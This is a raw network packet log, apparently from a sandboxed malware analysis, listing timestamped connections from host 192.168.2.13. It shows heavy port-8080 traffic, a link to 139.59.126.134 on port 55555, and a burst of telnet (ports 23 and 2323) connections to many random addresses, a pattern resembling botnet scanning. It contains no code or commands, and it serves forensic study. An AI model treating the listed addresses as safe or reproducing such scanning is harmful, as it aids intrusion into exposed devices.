Jan 26, 2025 01:43:29.685060978 CET	8080	47566	95.84.47.151	192.168.2.13
Jan 26, 2025 01:43:29.685067892 CET	47566	8080	192.168.2.13	31.6.152.62
Jan 26, 2025 01:43:29.685067892 CET	47566	8080	192.168.2.13	95.14.164.48
Jan 26, 2025 01:43:29.685070038 CET	8080	47566	85.157.151.186	192.168.2.13
Jan 26, 2025 01:43:29.685080051 CET	8080	47566	95.15.45.20	192.168.2.13
Jan 26, 2025 01:43:29.685081959 CET	47566	8080	192.168.2.13	95.42.252.162
Jan 26, 2025 01:43:29.685087919 CET	47566	8080	192.168.2.13	95.84.47.151
Jan 26, 2025 01:43:29.685089111 CET	8080	47566	62.77.71.98	192.168.2.13
Jan 26, 2025 01:43:29.685101032 CET	8080	47566	95.97.101.69	192.168.2.13
Jan 26, 2025 01:43:29.685102940 CET	47566	8080	192.168.2.13	85.157.151.186
Jan 26, 2025 01:43:29.685110092 CET	8080	47566	94.29.192.137	192.168.2.13
Jan 26, 2025 01:43:29.685110092 CET	47566	8080	192.168.2.13	62.77.71.98
Jan 26, 2025 01:43:29.685111046 CET	47566	8080	192.168.2.13	95.15.45.20
Jan 26, 2025 01:43:29.685118914 CET	8080	47566	85.253.175.174	192.168.2.13
Jan 26, 2025 01:43:29.685127974 CET	47566	8080	192.168.2.13	95.97.101.69
Jan 26, 2025 01:43:29.685128927 CET	8080	47566	85.230.180.209	192.168.2.13
Jan 26, 2025 01:43:29.685138941 CET	8080	47566	85.35.139.172	192.168.2.13
Jan 26, 2025 01:43:29.685146093 CET	47566	8080	192.168.2.13	85.253.175.174
Jan 26, 2025 01:43:29.685147047 CET	47566	8080	192.168.2.13	94.29.192.137
Jan 26, 2025 01:43:29.685148001 CET	8080	47566	94.196.188.41	192.168.2.13
Jan 26, 2025 01:43:29.685158014 CET	8080	47566	85.50.174.82	192.168.2.13
Jan 26, 2025 01:43:29.685158968 CET	47566	8080	192.168.2.13	85.230.180.209
Jan 26, 2025 01:43:29.685168028 CET	8080	47566	95.20.55.143	192.168.2.13
Jan 26, 2025 01:43:29.685168982 CET	47566	8080	192.168.2.13	85.35.139.172
Jan 26, 2025 01:43:29.685177088 CET	8080	47566	31.240.198.11	192.168.2.13
Jan 26, 2025 01:43:29.685184002 CET	47566	8080	192.168.2.13	94.196.188.41
Jan 26, 2025 01:43:29.685185909 CET	47566	8080	192.168.2.13	85.50.174.82
Jan 26, 2025 01:43:29.685188055 CET	8080	47566	31.159.152.176	192.168.2.13
Jan 26, 2025 01:43:29.685195923 CET	47566	8080	192.168.2.13	95.20.55.143
Jan 26, 2025 01:43:29.685199022 CET	8080	47566	94.193.183.46	192.168.2.13
Jan 26, 2025 01:43:29.685201883 CET	47566	8080	192.168.2.13	31.240.198.11
Jan 26, 2025 01:43:29.685208082 CET	8080	47566	95.212.77.255	192.168.2.13
Jan 26, 2025 01:43:29.685209036 CET	47566	8080	192.168.2.13	31.159.152.176
Jan 26, 2025 01:43:29.685216904 CET	8080	47566	95.29.183.110	192.168.2.13
Jan 26, 2025 01:43:29.685225964 CET	8080	47566	85.102.159.251	192.168.2.13
Jan 26, 2025 01:43:29.685235023 CET	47566	8080	192.168.2.13	94.193.183.46
Jan 26, 2025 01:43:29.685235023 CET	47566	8080	192.168.2.13	95.212.77.255
Jan 26, 2025 01:43:29.685251951 CET	47566	8080	192.168.2.13	85.102.159.251
Jan 26, 2025 01:43:29.685266972 CET	47566	8080	192.168.2.13	95.29.183.110
Jan 26, 2025 01:43:29.685426950 CET	8080	47566	95.152.179.71	192.168.2.13
Jan 26, 2025 01:43:29.685436010 CET	8080	47566	31.248.151.24	192.168.2.13
Jan 26, 2025 01:43:29.685441017 CET	8080	47566	85.246.123.84	192.168.2.13
Jan 26, 2025 01:43:29.685445070 CET	8080	47566	62.255.47.98	192.168.2.13
Jan 26, 2025 01:43:29.685448885 CET	8080	47566	95.220.140.13	192.168.2.13
Jan 26, 2025 01:43:29.685457945 CET	8080	47566	95.21.48.81	192.168.2.13
Jan 26, 2025 01:43:29.685475111 CET	8080	47566	94.248.194.52	192.168.2.13
Jan 26, 2025 01:43:29.685477972 CET	47566	8080	192.168.2.13	95.152.179.71
Jan 26, 2025 01:43:29.685478926 CET	47566	8080	192.168.2.13	31.248.151.24
Jan 26, 2025 01:43:29.685481071 CET	47566	8080	192.168.2.13	62.255.47.98
Jan 26, 2025 01:43:29.685481071 CET	47566	8080	192.168.2.13	95.220.140.13
Jan 26, 2025 01:43:29.685482979 CET	47566	8080	192.168.2.13	85.246.123.84
Jan 26, 2025 01:43:29.685483932 CET	8080	47566	85.203.88.95	192.168.2.13
Jan 26, 2025 01:43:29.685489893 CET	47566	8080	192.168.2.13	95.21.48.81
Jan 26, 2025 01:43:29.685494900 CET	8080	47566	95.229.133.37	192.168.2.13
Jan 26, 2025 01:43:29.685503960 CET	8080	47566	31.142.87.18	192.168.2.13
Jan 26, 2025 01:43:29.685513020 CET	8080	47566	85.143.61.26	192.168.2.13
Jan 26, 2025 01:43:29.685519934 CET	47566	8080	192.168.2.13	95.229.133.37
Jan 26, 2025 01:43:29.685522079 CET	8080	47566	31.160.179.31	192.168.2.13
Jan 26, 2025 01:43:29.685522079 CET	47566	8080	192.168.2.13	85.203.88.95
Jan 26, 2025 01:43:29.685532093 CET	8080	47566	31.87.168.35	192.168.2.13
Jan 26, 2025 01:43:29.685532093 CET	47566	8080	192.168.2.13	31.142.87.18
Jan 26, 2025 01:43:29.685534954 CET	47566	8080	192.168.2.13	85.143.61.26
Jan 26, 2025 01:43:29.685542107 CET	47566	8080	192.168.2.13	94.248.194.52
Jan 26, 2025 01:43:29.685542107 CET	8080	47566	85.201.208.19	192.168.2.13
Jan 26, 2025 01:43:29.685551882 CET	8080	47566	95.216.11.76	192.168.2.13
Jan 26, 2025 01:43:29.685559988 CET	8080	47566	31.65.15.160	192.168.2.13
Jan 26, 2025 01:43:29.685561895 CET	47566	8080	192.168.2.13	31.87.168.35
Jan 26, 2025 01:43:29.685564995 CET	47566	8080	192.168.2.13	85.201.208.19
Jan 26, 2025 01:43:29.685570002 CET	8080	47566	62.77.231.142	192.168.2.13
Jan 26, 2025 01:43:29.685571909 CET	47566	8080	192.168.2.13	95.216.11.76
Jan 26, 2025 01:43:29.685575962 CET	47566	8080	192.168.2.13	31.160.179.31
Jan 26, 2025 01:43:29.685579062 CET	8080	47566	31.240.254.170	192.168.2.13
Jan 26, 2025 01:43:29.685585022 CET	47566	8080	192.168.2.13	31.65.15.160
Jan 26, 2025 01:43:29.685589075 CET	8080	47566	94.198.95.100	192.168.2.13
Jan 26, 2025 01:43:29.685597897 CET	8080	47566	31.95.80.177	192.168.2.13
Jan 26, 2025 01:43:29.685600996 CET	47566	8080	192.168.2.13	31.240.254.170
Jan 26, 2025 01:43:29.685607910 CET	8080	47566	62.207.42.107	192.168.2.13
Jan 26, 2025 01:43:29.685616970 CET	8080	47566	31.199.20.125	192.168.2.13
Jan 26, 2025 01:43:29.685617924 CET	47566	8080	192.168.2.13	62.77.231.142
Jan 26, 2025 01:43:29.685619116 CET	47566	8080	192.168.2.13	94.198.95.100
Jan 26, 2025 01:43:29.685626030 CET	8080	47566	94.166.201.116	192.168.2.13
Jan 26, 2025 01:43:29.685630083 CET	47566	8080	192.168.2.13	31.95.80.177
Jan 26, 2025 01:43:29.685636044 CET	47566	8080	192.168.2.13	62.207.42.107
Jan 26, 2025 01:43:29.685636997 CET	8080	47566	31.120.49.235	192.168.2.13
Jan 26, 2025 01:43:29.685647964 CET	47566	8080	192.168.2.13	94.166.201.116
Jan 26, 2025 01:43:29.685648918 CET	8080	47566	62.97.60.87	192.168.2.13
Jan 26, 2025 01:43:29.685652018 CET	47566	8080	192.168.2.13	31.199.20.125
Jan 26, 2025 01:43:29.685657978 CET	8080	47566	85.82.48.144	192.168.2.13
Jan 26, 2025 01:43:29.685667038 CET	47566	8080	192.168.2.13	31.120.49.235
Jan 26, 2025 01:43:29.685667038 CET	8080	47566	62.17.164.137	192.168.2.13
Jan 26, 2025 01:43:29.685671091 CET	47566	8080	192.168.2.13	62.97.60.87
Jan 26, 2025 01:43:29.685682058 CET	47566	8080	192.168.2.13	85.82.48.144
Jan 26, 2025 01:43:29.685694933 CET	47566	8080	192.168.2.13	62.17.164.137
Jan 26, 2025 01:43:29.685879946 CET	8080	47566	31.226.93.62	192.168.2.13
Jan 26, 2025 01:43:29.685914040 CET	8080	47566	62.40.139.75	192.168.2.13
Jan 26, 2025 01:43:29.685916901 CET	47566	8080	192.168.2.13	31.226.93.62
Jan 26, 2025 01:43:29.685925007 CET	8080	47566	62.102.89.229	192.168.2.13
Jan 26, 2025 01:43:29.685934067 CET	8080	47566	62.191.212.201	192.168.2.13
Jan 26, 2025 01:43:29.685944080 CET	8080	47566	94.51.106.166	192.168.2.13
Jan 26, 2025 01:43:29.685946941 CET	47566	8080	192.168.2.13	62.40.139.75
Jan 26, 2025 01:43:29.685952902 CET	8080	47566	94.179.218.195	192.168.2.13
Jan 26, 2025 01:43:29.685952902 CET	47566	8080	192.168.2.13	62.102.89.229
Jan 26, 2025 01:43:29.685962915 CET	8080	47566	95.24.237.74	192.168.2.13
Jan 26, 2025 01:43:29.685964108 CET	47566	8080	192.168.2.13	62.191.212.201
Jan 26, 2025 01:43:29.685972929 CET	47566	8080	192.168.2.13	94.179.218.195
Jan 26, 2025 01:43:29.685978889 CET	47566	8080	192.168.2.13	94.51.106.166
Jan 26, 2025 01:43:29.685982943 CET	8080	47566	94.159.140.178	192.168.2.13
Jan 26, 2025 01:43:29.685990095 CET	47566	8080	192.168.2.13	95.24.237.74
Jan 26, 2025 01:43:29.685992956 CET	8080	47566	31.190.236.75	192.168.2.13
Jan 26, 2025 01:43:29.686002970 CET	8080	47566	85.195.101.133	192.168.2.13
Jan 26, 2025 01:43:29.686012030 CET	8080	47566	62.207.211.184	192.168.2.13
Jan 26, 2025 01:43:29.686017990 CET	47566	8080	192.168.2.13	31.190.236.75
Jan 26, 2025 01:43:29.686021090 CET	8080	47566	62.3.223.17	192.168.2.13
Jan 26, 2025 01:43:29.686022043 CET	47566	8080	192.168.2.13	94.159.140.178
Jan 26, 2025 01:43:29.686028957 CET	47566	8080	192.168.2.13	85.195.101.133
Jan 26, 2025 01:43:29.686031103 CET	8080	47566	31.118.129.189	192.168.2.13
Jan 26, 2025 01:43:29.686033964 CET	47566	8080	192.168.2.13	62.207.211.184
Jan 26, 2025 01:43:29.686039925 CET	8080	47566	62.19.57.86	192.168.2.13
Jan 26, 2025 01:43:29.686048985 CET	47566	8080	192.168.2.13	62.3.223.17
Jan 26, 2025 01:43:29.686048985 CET	8080	47566	95.13.17.8	192.168.2.13
Jan 26, 2025 01:43:29.686058044 CET	8080	47566	31.89.10.29	192.168.2.13
Jan 26, 2025 01:43:29.686059952 CET	47566	8080	192.168.2.13	31.118.129.189
Jan 26, 2025 01:43:29.686068058 CET	8080	47566	62.179.81.33	192.168.2.13
Jan 26, 2025 01:43:29.686075926 CET	47566	8080	192.168.2.13	95.13.17.8
Jan 26, 2025 01:43:29.686077118 CET	47566	8080	192.168.2.13	62.19.57.86
Jan 26, 2025 01:43:29.686077118 CET	8080	47566	85.4.210.95	192.168.2.13
Jan 26, 2025 01:43:29.686086893 CET	8080	47566	31.35.50.195	192.168.2.13
Jan 26, 2025 01:43:29.686095953 CET	8080	47566	62.212.61.217	192.168.2.13
Jan 26, 2025 01:43:29.686095953 CET	47566	8080	192.168.2.13	31.89.10.29
Jan 26, 2025 01:43:29.686096907 CET	47566	8080	192.168.2.13	62.179.81.33
Jan 26, 2025 01:43:29.686105967 CET	8080	47566	85.116.200.141	192.168.2.13
Jan 26, 2025 01:43:29.686106920 CET	47566	8080	192.168.2.13	85.4.210.95
Jan 26, 2025 01:43:29.686115026 CET	8080	47566	31.52.252.75	192.168.2.13
Jan 26, 2025 01:43:29.686122894 CET	47566	8080	192.168.2.13	62.212.61.217
Jan 26, 2025 01:43:29.686122894 CET	47566	8080	192.168.2.13	31.35.50.195
Jan 26, 2025 01:43:29.686124086 CET	8080	47566	31.5.54.218	192.168.2.13
Jan 26, 2025 01:43:29.686134100 CET	8080	47566	95.75.45.135	192.168.2.13
Jan 26, 2025 01:43:29.686134100 CET	47566	8080	192.168.2.13	85.116.200.141
Jan 26, 2025 01:43:29.686141968 CET	8080	47566	85.201.24.55	192.168.2.13
Jan 26, 2025 01:43:29.686146021 CET	47566	8080	192.168.2.13	31.52.252.75
Jan 26, 2025 01:43:29.686151981 CET	8080	47566	85.163.105.236	192.168.2.13
Jan 26, 2025 01:43:29.686155081 CET	47566	8080	192.168.2.13	95.75.45.135
Jan 26, 2025 01:43:29.686161995 CET	8080	47566	31.219.89.224	192.168.2.13
Jan 26, 2025 01:43:29.686163902 CET	47566	8080	192.168.2.13	31.5.54.218
Jan 26, 2025 01:43:29.686172009 CET	8080	47566	62.63.221.214	192.168.2.13
Jan 26, 2025 01:43:29.686177969 CET	47566	8080	192.168.2.13	85.163.105.236
Jan 26, 2025 01:43:29.686187983 CET	47566	8080	192.168.2.13	31.219.89.224
Jan 26, 2025 01:43:29.686202049 CET	47566	8080	192.168.2.13	62.63.221.214
Jan 26, 2025 01:43:29.686229944 CET	47566	8080	192.168.2.13	85.201.24.55
Jan 26, 2025 01:43:29.687571049 CET	8080	47566	85.172.160.45	192.168.2.13
Jan 26, 2025 01:43:29.687586069 CET	8080	47566	62.16.23.80	192.168.2.13
Jan 26, 2025 01:43:29.687596083 CET	8080	47566	85.221.66.42	192.168.2.13
Jan 26, 2025 01:43:29.687604904 CET	8080	47566	95.252.218.41	192.168.2.13
Jan 26, 2025 01:43:29.687613964 CET	47566	8080	192.168.2.13	85.172.160.45
Jan 26, 2025 01:43:29.687614918 CET	8080	47566	94.191.28.228	192.168.2.13
Jan 26, 2025 01:43:29.687624931 CET	8080	47566	94.0.65.77	192.168.2.13
Jan 26, 2025 01:43:29.687629938 CET	47566	8080	192.168.2.13	85.221.66.42
Jan 26, 2025 01:43:29.687630892 CET	47566	8080	192.168.2.13	62.16.23.80
Jan 26, 2025 01:43:29.687630892 CET	47566	8080	192.168.2.13	95.252.218.41
Jan 26, 2025 01:43:29.687634945 CET	8080	47566	95.118.246.135	192.168.2.13
Jan 26, 2025 01:43:29.687644005 CET	8080	47566	62.160.245.7	192.168.2.13
Jan 26, 2025 01:43:29.687649965 CET	47566	8080	192.168.2.13	94.191.28.228
Jan 26, 2025 01:43:29.687650919 CET	47566	8080	192.168.2.13	94.0.65.77
Jan 26, 2025 01:43:29.687658072 CET	47566	8080	192.168.2.13	95.118.246.135
Jan 26, 2025 01:43:29.687665939 CET	8080	47566	85.108.10.54	192.168.2.13
Jan 26, 2025 01:43:29.687671900 CET	47566	8080	192.168.2.13	62.160.245.7
Jan 26, 2025 01:43:29.687675953 CET	8080	47566	94.61.102.47	192.168.2.13
Jan 26, 2025 01:43:29.687686920 CET	8080	47566	95.53.119.76	192.168.2.13
Jan 26, 2025 01:43:29.687696934 CET	8080	47566	85.87.48.94	192.168.2.13
Jan 26, 2025 01:43:29.687700033 CET	47566	8080	192.168.2.13	85.108.10.54
Jan 26, 2025 01:43:29.687706947 CET	8080	47566	94.211.190.10	192.168.2.13
Jan 26, 2025 01:43:29.687707901 CET	47566	8080	192.168.2.13	94.61.102.47
Jan 26, 2025 01:43:29.687712908 CET	47566	8080	192.168.2.13	95.53.119.76
Jan 26, 2025 01:43:29.687716007 CET	8080	47566	62.52.87.209	192.168.2.13
Jan 26, 2025 01:43:29.687726021 CET	8080	47566	62.127.216.23	192.168.2.13
Jan 26, 2025 01:43:29.687725067 CET	47566	8080	192.168.2.13	85.87.48.94
Jan 26, 2025 01:43:29.687727928 CET	47566	8080	192.168.2.13	94.211.190.10
Jan 26, 2025 01:43:29.687733889 CET	8080	47566	94.44.95.39	192.168.2.13
Jan 26, 2025 01:43:29.687742949 CET	8080	47566	94.51.140.122	192.168.2.13
Jan 26, 2025 01:43:29.687752008 CET	47566	8080	192.168.2.13	62.52.87.209
Jan 26, 2025 01:43:29.687752962 CET	47566	8080	192.168.2.13	62.127.216.23
Jan 26, 2025 01:43:29.687756062 CET	8080	47566	85.13.168.194	192.168.2.13
Jan 26, 2025 01:43:29.687764883 CET	8080	47566	31.213.0.30	192.168.2.13
Jan 26, 2025 01:43:29.687767029 CET	47566	8080	192.168.2.13	94.44.95.39
Jan 26, 2025 01:43:29.687767982 CET	47566	8080	192.168.2.13	94.51.140.122
Jan 26, 2025 01:43:29.687774897 CET	8080	47566	62.169.115.118	192.168.2.13
Jan 26, 2025 01:43:29.687778950 CET	47566	8080	192.168.2.13	85.13.168.194
Jan 26, 2025 01:43:29.687783957 CET	8080	47566	94.191.40.56	192.168.2.13
Jan 26, 2025 01:43:29.687793016 CET	8080	47566	85.95.123.42	192.168.2.13
Jan 26, 2025 01:43:29.687800884 CET	8080	47566	62.56.203.126	192.168.2.13
Jan 26, 2025 01:43:29.687804937 CET	47566	8080	192.168.2.13	31.213.0.30
Jan 26, 2025 01:43:29.687808037 CET	47566	8080	192.168.2.13	62.169.115.118
Jan 26, 2025 01:43:29.687809944 CET	8080	47566	94.204.12.45	192.168.2.13
Jan 26, 2025 01:43:29.687812090 CET	47566	8080	192.168.2.13	94.191.40.56
Jan 26, 2025 01:43:29.687819004 CET	47566	8080	192.168.2.13	85.95.123.42
Jan 26, 2025 01:43:29.687819004 CET	8080	47566	94.220.9.9	192.168.2.13
Jan 26, 2025 01:43:29.687829018 CET	8080	47566	85.115.222.96	192.168.2.13
Jan 26, 2025 01:43:29.687838078 CET	8080	47566	85.192.43.116	192.168.2.13
Jan 26, 2025 01:43:29.687839985 CET	47566	8080	192.168.2.13	62.56.203.126
Jan 26, 2025 01:43:29.687840939 CET	47566	8080	192.168.2.13	94.220.9.9
Jan 26, 2025 01:43:29.687841892 CET	47566	8080	192.168.2.13	94.204.12.45
Jan 26, 2025 01:43:29.687846899 CET	8080	47566	95.32.101.123	192.168.2.13
Jan 26, 2025 01:43:29.687853098 CET	47566	8080	192.168.2.13	85.115.222.96
Jan 26, 2025 01:43:29.687856913 CET	8080	47566	31.213.243.229	192.168.2.13
Jan 26, 2025 01:43:29.687865973 CET	8080	47566	31.173.60.23	192.168.2.13
Jan 26, 2025 01:43:29.687880993 CET	8080	47566	95.114.11.97	192.168.2.13
Jan 26, 2025 01:43:29.687881947 CET	47566	8080	192.168.2.13	95.32.101.123
Jan 26, 2025 01:43:29.687882900 CET	47566	8080	192.168.2.13	85.192.43.116
Jan 26, 2025 01:43:29.687886000 CET	47566	8080	192.168.2.13	31.213.243.229
Jan 26, 2025 01:43:29.687896013 CET	8080	47566	62.255.134.67	192.168.2.13
Jan 26, 2025 01:43:29.687901020 CET	47566	8080	192.168.2.13	31.173.60.23
Jan 26, 2025 01:43:29.687906027 CET	8080	47566	85.60.8.184	192.168.2.13
Jan 26, 2025 01:43:29.687915087 CET	8080	47566	85.86.237.22	192.168.2.13
Jan 26, 2025 01:43:29.687923908 CET	8080	47566	85.201.158.55	192.168.2.13
Jan 26, 2025 01:43:29.687931061 CET	47566	8080	192.168.2.13	85.60.8.184
Jan 26, 2025 01:43:29.687932968 CET	8080	47566	95.235.159.83	192.168.2.13
Jan 26, 2025 01:43:29.687938929 CET	47566	8080	192.168.2.13	85.86.237.22
Jan 26, 2025 01:43:29.687939882 CET	47566	8080	192.168.2.13	95.114.11.97
Jan 26, 2025 01:43:29.687938929 CET	47566	8080	192.168.2.13	62.255.134.67
Jan 26, 2025 01:43:29.687942982 CET	8080	47566	95.106.251.101	192.168.2.13
Jan 26, 2025 01:43:29.687952042 CET	8080	47566	85.211.97.177	192.168.2.13
Jan 26, 2025 01:43:29.687952995 CET	47566	8080	192.168.2.13	85.201.158.55
Jan 26, 2025 01:43:29.687968969 CET	47566	8080	192.168.2.13	95.106.251.101
Jan 26, 2025 01:43:29.687973022 CET	47566	8080	192.168.2.13	95.235.159.83
Jan 26, 2025 01:43:29.687984943 CET	47566	8080	192.168.2.13	85.211.97.177
Jan 26, 2025 01:43:29.688224077 CET	41664	55555	192.168.2.13	139.59.126.134
Jan 26, 2025 01:43:29.688518047 CET	39572	8080	192.168.2.13	31.222.195.206
Jan 26, 2025 01:43:29.693406105 CET	55555	41664	139.59.126.134	192.168.2.13
Jan 26, 2025 01:43:29.693459034 CET	41664	55555	192.168.2.13	139.59.126.134
Jan 26, 2025 01:43:29.695672989 CET	45517	2323	192.168.2.13	217.145.248.189
Jan 26, 2025 01:43:29.695755959 CET	45517	23	192.168.2.13	158.58.51.189
Jan 26, 2025 01:43:29.695761919 CET	45517	23	192.168.2.13	197.153.120.178
Jan 26, 2025 01:43:29.695787907 CET	45517	23	192.168.2.13	182.62.211.246
Jan 26, 2025 01:43:29.695787907 CET	45517	23	192.168.2.13	211.120.106.210
Jan 26, 2025 01:43:29.695790052 CET	45517	23	192.168.2.13	98.244.237.99
Jan 26, 2025 01:43:29.695795059 CET	45517	23	192.168.2.13	140.29.26.199
Jan 26, 2025 01:43:29.695800066 CET	45517	23	192.168.2.13	78.114.168.235
Jan 26, 2025 01:43:29.695806026 CET	45517	23	192.168.2.13	135.28.148.157
Jan 26, 2025 01:43:29.695808887 CET	49742	8080	192.168.2.13	62.57.130.83
Jan 26, 2025 01:43:29.695811033 CET	45517	23	192.168.2.13	147.130.24.191
Jan 26, 2025 01:43:29.695822001 CET	45517	2323	192.168.2.13	53.27.137.49
Jan 26, 2025 01:43:29.695825100 CET	45517	23	192.168.2.13	27.134.247.8
Jan 26, 2025 01:43:29.695836067 CET	45517	23	192.168.2.13	183.132.55.156
Jan 26, 2025 01:43:29.695846081 CET	45517	23	192.168.2.13	126.234.68.95
Jan 26, 2025 01:43:29.695846081 CET	45517	23	192.168.2.13	138.33.18.170
Jan 26, 2025 01:43:29.695861101 CET	45517	23	192.168.2.13	34.69.171.130
Jan 26, 2025 01:43:29.695868015 CET	45517	23	192.168.2.13	85.106.19.79
Jan 26, 2025 01:43:29.695879936 CET	45517	23	192.168.2.13	34.2.114.235
Jan 26, 2025 01:43:29.695883989 CET	45517	23	192.168.2.13	223.169.195.88
Jan 26, 2025 01:43:29.695930004 CET	45517	23	192.168.2.13	192.93.74.249
Jan 26, 2025 01:43:29.695930004 CET	45517	2323	192.168.2.13	97.110.147.146
Jan 26, 2025 01:43:29.695943117 CET	45517	23	192.168.2.13	149.11.88.125
Jan 26, 2025 01:43:29.695969105 CET	45517	23	192.168.2.13	156.248.139.83
Jan 26, 2025 01:43:29.695970058 CET	45517	23	192.168.2.13	123.44.36.178
Jan 26, 2025 01:43:29.695969105 CET	45517	23	192.168.2.13	136.3.112.106
Jan 26, 2025 01:43:29.695969105 CET	45517	23	192.168.2.13	97.43.225.38
Jan 26, 2025 01:43:29.695972919 CET	45517	23	192.168.2.13	92.0.94.51
Jan 26, 2025 01:43:29.695997953 CET	45517	23	192.168.2.13	178.26.180.97
Jan 26, 2025 01:43:29.696016073 CET	45517	23	192.168.2.13	196.214.93.57
Jan 26, 2025 01:43:29.696022034 CET	45517	23	192.168.2.13	164.111.207.186
Jan 26, 2025 01:43:29.696022034 CET	45517	2323	192.168.2.13	90.127.10.15
Jan 26, 2025 01:43:29.696029902 CET	45517	23	192.168.2.13	142.176.205.201
Jan 26, 2025 01:43:29.696039915 CET	45517	23	192.168.2.13	58.38.193.151
Jan 26, 2025 01:43:29.696039915 CET	45517	23	192.168.2.13	202.129.61.160
Jan 26, 2025 01:43:29.696050882 CET	45517	23	192.168.2.13	205.139.155.158
Jan 26, 2025 01:43:29.696062088 CET	45517	23	192.168.2.13	112.202.70.184
Jan 26, 2025 01:43:29.696062088 CET	45517	23	192.168.2.13	178.17.240.86
Jan 26, 2025 01:43:29.696075916 CET	45517	23	192.168.2.13	38.2.128.11
Jan 26, 2025 01:43:29.696075916 CET	45517	23	192.168.2.13	108.217.183.112
Jan 26, 2025 01:43:29.696099997 CET	45517	2323	192.168.2.13	58.113.152.194
Jan 26, 2025 01:43:29.696103096 CET	45517	23	192.168.2.13	90.247.211.99
Jan 26, 2025 01:43:29.696115017 CET	45517	23	192.168.2.13	113.46.90.143
Jan 26, 2025 01:43:29.696115971 CET	45517	23	192.168.2.13	125.126.187.124
Jan 26, 2025 01:43:29.696118116 CET	45517	23	192.168.2.13	209.201.128.248
Jan 26, 2025 01:43:29.696135044 CET	45517	23	192.168.2.13	181.62.121.73
Jan 26, 2025 01:43:29.696136951 CET	45517	23	192.168.2.13	156.234.166.60
Jan 26, 2025 01:43:29.696142912 CET	45517	23	192.168.2.13	96.28.19.16
Jan 26, 2025 01:43:29.696163893 CET	45517	23	192.168.2.13	156.164.14.37
Jan 26, 2025 01:43:29.696168900 CET	45517	23	192.168.2.13	99.250.82.197
Jan 26, 2025 01:43:29.696168900 CET	45517	23	192.168.2.13	71.40.236.225
Jan 26, 2025 01:43:29.696183920 CET	45517	23	192.168.2.13	181.100.146.252
Jan 26, 2025 01:43:29.696187019 CET	45517	23	192.168.2.13	81.221.199.127
Jan 26, 2025 01:43:29.696193933 CET	45517	2323	192.168.2.13	40.38.171.138
Jan 26, 2025 01:43:29.696193933 CET	45517	23	192.168.2.13	202.65.121.198
Jan 26, 2025 01:43:29.696193933 CET	45517	23	192.168.2.13	89.118.87.113
Jan 26, 2025 01:43:29.696212053 CET	45517	23	192.168.2.13	202.16.32.135
Jan 26, 2025 01:43:29.696213007 CET	45517	23	192.168.2.13	145.47.29.237
Jan 26, 2025 01:43:29.696233034 CET	45517	23	192.168.2.13	208.20.12.58
Jan 26, 2025 01:43:29.696250916 CET	45517	23	192.168.2.13	169.140.187.88
Jan 26, 2025 01:43:29.696252108 CET	45517	23	192.168.2.13	159.197.22.254
Jan 26, 2025 01:43:29.696257114 CET	45517	2323	192.168.2.13	147.12.225.172
Jan 26, 2025 01:43:29.696269035 CET	45517	23	192.168.2.13	89.237.72.187
Jan 26, 2025 01:43:29.696269035 CET	45517	23	192.168.2.13	137.10.7.203
Jan 26, 2025 01:43:29.696283102 CET	45517	23	192.168.2.13	121.55.198.152
Jan 26, 2025 01:43:29.696283102 CET	45517	23	192.168.2.13	44.149.181.151
Jan 26, 2025 01:43:29.696294069 CET	45517	23	192.168.2.13	161.195.10.31
Jan 26, 2025 01:43:29.696331024 CET	45517	23	192.168.2.13	99.250.35.137
Jan 26, 2025 01:43:29.696332932 CET	45517	23	192.168.2.13	194.88.131.141
Jan 26, 2025 01:43:29.696346045 CET	45517	23	192.168.2.13	107.85.109.200
Jan 26, 2025 01:43:29.696348906 CET	45517	23	192.168.2.13	59.247.31.203
Jan 26, 2025 01:43:29.696352005 CET	45517	2323	192.168.2.13	5.169.163.34
Jan 26, 2025 01:43:29.696362019 CET	45517	23	192.168.2.13	84.112.237.30
Jan 26, 2025 01:43:29.696362019 CET	45517	23	192.168.2.13	39.139.219.145
Jan 26, 2025 01:43:29.696389914 CET	45517	23	192.168.2.13	62.103.50.190
Jan 26, 2025 01:43:29.696394920 CET	45517	23	192.168.2.13	207.173.15.34
Jan 26, 2025 01:43:29.696405888 CET	45517	23	192.168.2.13	97.66.154.182
Jan 26, 2025 01:43:29.696408987 CET	45517	23	192.168.2.13	75.203.123.175
Jan 26, 2025 01:43:29.696422100 CET	45517	23	192.168.2.13	122.124.166.5
Jan 26, 2025 01:43:29.696424007 CET	45517	23	192.168.2.13	205.93.97.36
Jan 26, 2025 01:43:29.696429014 CET	45517	2323	192.168.2.13	141.16.254.46
Jan 26, 2025 01:43:29.696434975 CET	45517	23	192.168.2.13	80.62.177.173
Jan 26, 2025 01:43:29.696439981 CET	45517	23	192.168.2.13	103.105.139.22
Jan 26, 2025 01:43:29.696445942 CET	45517	23	192.168.2.13	121.47.190.68
Jan 26, 2025 01:43:29.696445942 CET	45517	23	192.168.2.13	61.6.211.116
Jan 26, 2025 01:43:29.696446896 CET	45517	23	192.168.2.13	81.211.36.27
Jan 26, 2025 01:43:29.696460962 CET	45517	23	192.168.2.13	103.34.231.0
Jan 26, 2025 01:43:29.696470022 CET	45517	23	192.168.2.13	139.126.25.52
Jan 26, 2025 01:43:29.696477890 CET	45517	23	192.168.2.13	117.247.248.220
Jan 26, 2025 01:43:29.696479082 CET	45517	23	192.168.2.13	166.223.147.117
Jan 26, 2025 01:43:29.696484089 CET	45517	23	192.168.2.13	39.237.171.181
Jan 26, 2025 01:43:29.696491003 CET	45517	2323	192.168.2.13	147.80.113.249
Jan 26, 2025 01:43:29.696492910 CET	45517	23	192.168.2.13	46.57.149.207
Jan 26, 2025 01:43:29.696501970 CET	45517	23	192.168.2.13	195.159.13.190
Jan 26, 2025 01:43:29.696502924 CET	45517	23	192.168.2.13	57.15.21.20
Jan 26, 2025 01:43:29.696516991 CET	45517	23	192.168.2.13	192.242.68.252
Jan 26, 2025 01:43:29.696516991 CET	45517	23	192.168.2.13	60.177.187.74
Jan 26, 2025 01:43:29.696526051 CET	45517	23	192.168.2.13	76.161.77.115
Jan 26, 2025 01:43:29.696543932 CET	45517	23	192.168.2.13	8.108.143.170
Jan 26, 2025 01:43:29.696543932 CET	45517	23	192.168.2.13	90.56.189.56
Jan 26, 2025 01:43:29.696552038 CET	45517	23	192.168.2.13	111.84.181.135
Jan 26, 2025 01:43:29.696554899 CET	45517	2323	192.168.2.13	19.230.78.113
Jan 26, 2025 01:43:29.696569920 CET	45517	23	192.168.2.13	61.144.8.167
Jan 26, 2025 01:43:29.696569920 CET	45517	23	192.168.2.13	40.143.172.253
Jan 26, 2025 01:43:29.696573019 CET	45517	23	192.168.2.13	87.208.127.212
Jan 26, 2025 01:43:29.696578979 CET	45517	23	192.168.2.13	205.205.91.168
